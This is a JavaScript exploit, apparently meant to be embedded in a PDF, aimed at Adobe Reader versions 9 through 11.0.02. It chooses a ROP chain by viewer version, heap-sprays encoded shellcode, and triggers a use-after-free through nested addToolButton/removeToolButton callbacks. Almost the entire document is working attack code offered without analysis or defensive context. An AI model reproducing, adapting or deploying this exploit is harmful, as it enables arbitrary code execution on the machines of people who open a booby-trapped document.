function heapSpray(str, str_addr, r_addr) {
  var aaa = unescape("%u0c0c");
  aaa += aaa;
  while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
  var i1 = r_addr - 0x24;
  var bbb = aaa.substring(0, i1 / 2);
  var sa = str_addr;
  while (sa.length < (0x0c0c - r_addr)) sa += sa;
  bbb += sa;
  bbb += aaa;
  var i11 = 0x0c0c - 0x24;
  bbb = bbb.substring(0, i11 / 2);
  bbb += str;
  bbb += aaa;
  var i2 = 0x4000 + 0xc000;
  var ccc = bbb.substring(0, i2 / 2);
  while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;
  var i3 = (0x1020 - 0x08) / 2;
  var ddd = ccc.substring(0, 0x80000 - i3);
  var eee = new Array();
  for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
  return;
}
var shellcode = unescape("%u6fbb%u49ad%ud9b7%ud9ee%u2474%u5af4%uc933%u53b1%uc283%u3104%u105a%u5a03%u8d10%ub558%ud35f%u46a3%ub3a0%ua32a%uf391%ua749%uc382%ue51a%ua82e%u1e4f%udca4%u1147%u6a0d%u1cbe%uc68e%u3f82%u140c%u9fd7%ud72d%ue12a%u056a%ub3c6%u4223%u2475%u1e47%ucf46%u8f1b%u2cce%uaeeb%ue2ff%ue967%u05df%u82ab%u1e69%uaea8%u9520%u451a%u7fb3%ua653%ube18%u555b%u8660%u855c%ufe17%u389e%uc520%ue6dd%udea5%u6d46%u3b1d%ua276%uc8f8%u0f74%u978e%u8e98%uac43%u1ba5%u6362%u5f2c%ua741%u0474%ufee8%uebd0%ue015%u54ba%u6ab0%u8156%u30c9%u663f%ucae0%ue0bf%ub873%uaf8d%u562f%u38be%ua1f6%u13c1%u3d4e%u9b3c%u17af%ucffb%u0fff%u6f2a%ucf94%ubad3%ud101%u4441%ud3be%u6395%u5d2e%u3b73%u0d1e%ufb2c%uedce%u939c%ue204%u83c3%u2826%u296c%u85c9%uc5c4%u8c70%u749f%u1a7c%ub6da%uaff6%u781a%udaff%u6c08%u249e%u6cd1%u250b%u68bb%u729d%u7253%ub5f8%u8dfc%uc62f%u71fb%uffae%u4770%u4024%ua7ef%u40a8%uf1ef%u40a2%ua587%u1296%uaab2%u0702%u3e6f%u7ead%ue9c3%u7cc5%udd3a%u7e49%u5e69%u808d%u42ef%ue936%uc20f%ue9c6%uc265%u8196%ued72%u6219%u247a%uea72%ua8f1%u8b30%ue106%u1595%u0506%u430e%uea8c%u6cb1%ud76c%u5567%u101a%ue2b4%u2b15%u4399%u53bc%u948d%u4195");
var executable = "";
var rop9 = unescape("%u313d%u4a82%ua713%u4a82%u1f90%u4a80%u9038%u4a84%u7e7d%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u1000%u0000%u0000%u0000%u155a%u4a80%u3a84%u4a84%ud4de%u4a82%u1f90%u4a80%u76aa%u4a84%u9030%u4a84%u4122%u4a84%u76aa%u4a84%u7e7d%u4a80%u3178%u4a81%u0026%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u3a82%u4a84%u6c5e%u4a84%u76ab%u4a84%u87b7%u7c15%u0400%u0000%ue26c%u3116%u7984%u4a81%u3178%u4a81");
var rop10 = unescape("%u6015%u4a82%ue090%u4a82%u007d%u4a82%u0038%u4a85%u46d5%u4a82%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u1000%u0000%u0000%u0000%u5016%u4a80%u420c%u4a84%u4241%u4a81%u007d%u4a82%u6015%u4a82%u0030%u4a85%ub49d%u4a84%u6015%u4a82%u46d5%u4a82%u4197%u4a81%u0026%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u4013%u4a81%ue036%u4a84%ua8df%u4a82%ubcd9%u513d%u0400%u0000%ud721%uf88e%u8b31%u4a81%u4197%u4a81");
var rop11 = unescape("%u822c%u4a85%uf129%u4a82%u597f%u4a85%u6038%u4a86%uf1d5%u4a83%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u1000%u0000%u0000%u0000%u5093%u4a85%u1d94%u0c06%u0030%u4a85%u597f%u4a85%u0031%u4a85%u0e38%u483a%u822c%u4a85%uf1d5%u4a83%ud4f8%u4a85%u6030%u4a86%u4864%u4a81%u0026%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u4856%u4a81%u05a0%u4a85%u0bc4%u4a86%u05a0%u4a85%uc376%u4a81%u63d0%u4a84%u0400%u0000%ud4f8%u4a85%ud4f8%u4a85%u4864%u4a81");
var r11 = false;
var vulnerable = true;

var obj_size;
var rop;
var ret_addr;
var rop_addr;
var r_addr;

if (app.viewerVersion >= 9 && app.viewerVersion < 10 && app.viewerVersion <= 9.504) {
  obj_size = 0x330 + 0x1c;
  rop = rop9;
  ret_addr = unescape("%ua83e%u4a82");
  rop_addr = unescape("%u08e8%u0c0c");
  r_addr = 0x08e8;
} else if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
  obj_size = 0x360 + 0x1c;
  rop = rop10;
  rop_addr = unescape("%u08e4%u0c0c");
  r_addr = 0x08e4;
  ret_addr = unescape("%ua8df%u4a82");
} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
  r11 = true;
  obj_size = 0x370;
  rop = rop11;
  rop_addr = unescape("%u08a8%u0c0c");
  r_addr = 0x08a8;
  ret_addr = unescape("%u8003%u4a84");
} else {
  vulnerable = false;
}

if (vulnerable) {
  var payload = rop + shellcode;
  heapSpray(payload, ret_addr, r_addr);

  var part1 = "";
  if (!r11) {
    for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");
  }
  part1 += rop_addr;
  var part2 = "";
  var part2_len = obj_size - part1.length * 2;
  for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
  var arr = new Array();

  removeButtonFunc = function () {
    app.removeToolButton({
        cName: "evil"
    });

    for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
  }

  addButtonFunc = function () {
    app.addToolButton({
      cName: "xxx",
      cExec: "1",
      cEnable: "removeButtonFunc();"
    });
  }

  app.addToolButton({
    cName: "evil",
    cExec: "1",
    cEnable: "addButtonFunc();"
  });
}